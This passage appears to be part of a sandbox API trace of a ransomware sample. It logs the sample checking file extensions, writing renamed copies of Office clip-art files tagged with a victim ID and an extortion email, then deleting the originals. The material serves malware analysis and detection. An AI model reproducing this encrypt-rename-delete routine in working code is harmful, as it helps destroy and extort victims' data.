lpString2=".WMF") returned -1 [0068.267] lstrlenW (lpString=".xls") returned 4 [0068.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.267] lstrlenW (lpString=".xlsx") returned 5 [0068.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.267] lstrlenW (lpString=".ppt") returned 4 [0068.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0068.267] lstrlenW (lpString=".zip") returned 4 [0068.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.267] lstrlenW (lpString=".rar") returned 4 [0068.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.267] lstrlenW (lpString=".bz2") returned 4 [0068.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.267] lstrlenW (lpString=".7z") returned 3 [0068.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0068.267] lstrlenW (lpString=".dbf") returned 4 [0068.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0068.267] lstrlenW (lpString=".1cd") returned 4 [0068.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0068.268] lstrlenW (lpString=".jpg") returned 4 [0068.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.268] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.268] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0068.269] GetLastError () returned 0x0 [0068.269] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xda6, lpOverlapped=0x0) returned 1 [0068.270] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xdb0, lpOverlapped=0x0) returned 1 [0068.271] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.271] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.271] SetEndOfFile (hFile=0x36c) returned 1 [0068.272] CloseHandle (hObject=0x36c) returned 1 [0068.273] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.273] SetEndOfFile (hFile=0x370) returned 1 [0068.273] CloseHandle (hObject=0x370) returned 1 [0068.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0068.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0068.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0068.274] lstrlenW (lpString=".doc") returned 4 [0068.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.274] lstrlenW (lpString=".docx") returned 5 [0068.274] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.274] lstrlenW (lpString=".pdf") returned 4 [0068.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.275] lstrlenW (lpString=".xls") returned 4 [0068.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.275] lstrlenW (lpString=".xlsx") returned 5 [0068.275] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.275] lstrlenW (lpString=".ppt") returned 4 [0068.275] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0068.275] lstrlenW (lpString=".zip") returned 4 [0068.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.275] lstrlenW (lpString=".rar") returned 4 [0068.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.275] lstrlenW (lpString=".bz2") returned 4 [0068.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.275] lstrlenW (lpString=".7z") returned 3 [0068.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0068.275] lstrlenW (lpString=".dbf") returned 4 [0068.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0068.275] lstrlenW (lpString=".1cd") returned 4 [0068.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0068.275] lstrlenW (lpString=".jpg") returned 4 [0068.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.660] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.660] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0068.660] GetLastError () returned 0x0 [0068.660] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x3a94, lpOverlapped=0x0) returned 1 [0068.662] WriteFile (in: hFile=0x370, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x3aa0, lpOverlapped=0x0) returned 1 [0068.663] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.663] WriteFile (in: hFile=0x370, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.663] SetEndOfFile (hFile=0x370) returned 1 [0068.663] CloseHandle (hObject=0x370) returned 1 [0068.664] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.664] SetEndOfFile (hFile=0x2f4) returned 1 [0068.665] CloseHandle (hObject=0x2f4) returned 1 [0068.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0068.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0068.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0068.666] lstrlenW (lpString=".doc") returned 4 [0068.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.666] lstrlenW (lpString=".docx") returned 5 [0068.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.666] lstrlenW (lpString=".pdf") returned 4 [0068.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.666] lstrlenW (lpString=".xls") returned 4 [0068.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.667] lstrlenW (lpString=".xlsx") returned 5 [0068.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.667] lstrlenW (lpString=".ppt") returned 4 [0068.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0068.667] lstrlenW (lpString=".zip") returned 4 [0068.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.667] lstrlenW (lpString=".rar") returned 4 [0068.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.667] lstrlenW (lpString=".bz2") returned 4 [0068.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.667] lstrlenW (lpString=".7z") returned 3 [0068.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0068.667] lstrlenW (lpString=".dbf") returned 4 [0068.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0068.667] lstrlenW (lpString=".1cd") returned 4 [0068.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0068.667] lstrlenW (lpString=".jpg") returned 4 [0068.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.668] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.668] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0068.669] GetLastError () returned 0x0 [0068.669] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xf6c, lpOverlapped=0x0) returned 1 [0068.671] WriteFile (in: hFile=0x370, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xf70, lpOverlapped=0x0) returned 1 [0068.672] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.672] WriteFile (in: hFile=0x370, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.672] SetEndOfFile (hFile=0x370) returned 1 [0068.672] CloseHandle (hObject=0x370) returned 1 [0068.673] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.673] SetEndOfFile (hFile=0x2f4) returned 1 [0068.674] CloseHandle (hObject=0x2f4) returned 1 [0068.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.674] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0068.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0068.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0068.675] lstrlenW (lpString=".doc") returned 4 [0068.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.675] lstrlenW (lpString=".docx") returned 5 [0068.675] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.675] lstrlenW (lpString=".pdf") returned 4 [0068.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.675] lstrlenW (lpString=".xls") returned 4 [0068.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.675] lstrlenW (lpString=".xlsx") returned 5 [0068.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.675] lstrlenW (lpString=".ppt") returned 4 [0068.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0068.675] lstrlenW (lpString=".zip") returned 4 [0068.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.675] lstrlenW (lpString=".rar") returned 4 [0068.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.675] lstrlenW (lpString=".bz2") returned 4 [0068.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.676] lstrlenW (lpString=".7z") returned 3 [0068.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0068.676] lstrlenW (lpString=".dbf") returned 4 [0068.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0068.676] lstrlenW (lpString=".1cd") returned 4 [0068.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0068.676] lstrlenW (lpString=".jpg") returned 4 [0068.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.676] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.676] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0068.677] GetLastError () returned 0x0 [0068.677] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x292a, lpOverlapped=0x0) returned 1 [0068.678] WriteFile (in: hFile=0x370, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x2930, lpOverlapped=0x0) returned 1 [0068.679] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.679] WriteFile (in: hFile=0x370, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.680] SetEndOfFile (hFile=0x370) returned 1 [0068.680] CloseHandle (hObject=0x370) returned 1 [0068.681] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.681] SetEndOfFile (hFile=0x2f4) returned 1 [0068.682] CloseHandle (hObject=0x2f4) returned 1 [0068.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.682] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0068.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0068.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0068.683] lstrlenW (lpString=".doc") returned 4 [0068.683] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.683] lstrlenW (lpString=".docx") returned 5 [0068.683] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.683] lstrlenW (lpString=".pdf") returned 4 [0068.683] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.683] lstrlenW (lpString=".xls") returned 4 [0068.683] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.683] lstrlenW (lpString=".xlsx") returned 5 [0068.683] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.683] lstrlenW (lpString=".ppt") returned 4 [0068.683] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0068.683] lstrlenW (lpString=".zip") returned 4 [0068.683] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.683] lstrlenW (lpString=".rar") returned 4 [0068.683] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.683] lstrlenW (lpString=".bz2") returned 4 [0068.683] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.683] lstrlenW (lpString=".7z") returned 3 [0068.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0068.683] lstrlenW (lpString=".dbf") returned 4 [0068.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0068.683] lstrlenW (lpString=".1cd") returned 4 [0068.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0068.683] lstrlenW (lpString=".jpg") returned 4 [0068.683] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.684] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.684] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0068.685] GetLastError () returned 0x0 [0068.685] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x108c, lpOverlapped=0x0) returned 1 [0068.686] WriteFile (in: hFile=0x370, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1090, lpOverlapped=0x0) returned 1 [0068.687] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.687] WriteFile (in: hFile=0x370, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.688] SetEndOfFile (hFile=0x370) returned 1 [0068.688] CloseHandle (hObject=0x370) returned 1 [0068.689] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.689] SetEndOfFile (hFile=0x2f4) returned 1 [0068.690] CloseHandle (hObject=0x2f4) returned 1 [0068.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.690] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0068.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0068.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0068.691] lstrlenW (lpString=".doc") returned 4 [0068.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.691] lstrlenW (lpString=".docx") returned 5 [0068.691] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.691] lstrlenW (lpString=".pdf") returned 4 [0068.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.691] lstrlenW (lpString=".xls") returned 4 [0068.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.691] lstrlenW (lpString=".xlsx") returned 5 [0068.691] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.691] lstrlenW (lpString=".ppt") returned 4 [0068.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0068.691] lstrlenW (lpString=".zip") returned 4 [0068.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.691] lstrlenW (lpString=".rar") returned 4 [0068.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.691] lstrlenW (lpString=".bz2") returned 4 [0068.691] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.691] lstrlenW (lpString=".7z") returned 3 [0068.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0068.691] lstrlenW (lpString=".dbf") returned 4 [0068.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0068.691] lstrlenW (lpString=".1cd") returned 4 [0068.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0068.691] lstrlenW (lpString=".jpg") returned 4 [0068.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.692] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.693] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft 